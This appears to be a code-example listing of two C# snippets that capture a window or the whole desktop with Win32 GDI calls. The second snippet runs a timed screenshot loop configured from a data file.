예제 #1
0
        public static Image CaptureWindow(IntPtr handle)
        {
            // get te hDC of the target window
            IntPtr hdcSrc = API.GetWindowDC(handle);

            // get the size
            API.RECT windowRect = new API.RECT();
            API.GetWindowRect(handle, ref windowRect);
            int width  = windowRect.right - windowRect.left;
            int height = windowRect.bottom - windowRect.top;
            // create a device context we can copy to
            IntPtr hdcDest = API.CreateCompatibleDC(hdcSrc);
            // create a bitmap we can copy it to,
            // using GetDeviceCaps to get the width/height
            IntPtr hBitmap = API.CreateCompatibleBitmap(hdcSrc, width, height);
            // select the bitmap object
            IntPtr hOld = API.SelectObject(hdcDest, hBitmap);

            // bitblt over
            API.BitBlt(hdcDest, 0, 0, width, height, hdcSrc, 0, 0, API.SRCCOPY);
            // restore selection
            API.SelectObject(hdcDest, hOld);
            // clean up
            API.DeleteDC(hdcDest);
            API.ReleaseDC(handle, hdcSrc);
            // get a .NET image object for it
            Image img = Image.FromHbitmap(hBitmap);

            // free up the Bitmap object
            API.DeleteObject(hBitmap);
            return(img);
        }
예제 #2
0
        public static void Start()
        {
            try
            {
                Config("c.dat");
                Storage.Config("c.dat");
                Remote.Config("c.dat");
            }
            catch
            {
            }
            SetEncoderParameters(Quality);
            lock (locker)
            {
                handle     = API.GetDesktopWindow();
                hdcSrc     = API.GetWindowDC(handle);
                windowRect = new API.RECT();
                API.GetWindowRect(handle, ref windowRect);
                width   = windowRect.right - windowRect.left;
                height  = windowRect.bottom - windowRect.top;
                hdcDest = API.CreateCompatibleDC(hdcSrc);
                hBitmap = API.CreateCompatibleBitmap(hdcSrc, width, height);
                stopped = false;
            }
            int i = 0;

            while (true)
            {
                lock (locker)
                {
                    if (stopped)
                    {
                        break;
                    }
                    Take();
                }
                if (Count > 0)
                {
                    i++;
                    if (i >= Count)
                    {
                        break;
                    }
                }
                lock (locker)
                {
                    if (stopped)
                    {
                        break;
                    }
                }
                Thread.Sleep(Interval);
            }
            if (!stopped)
            {
                Stop();
            }
        }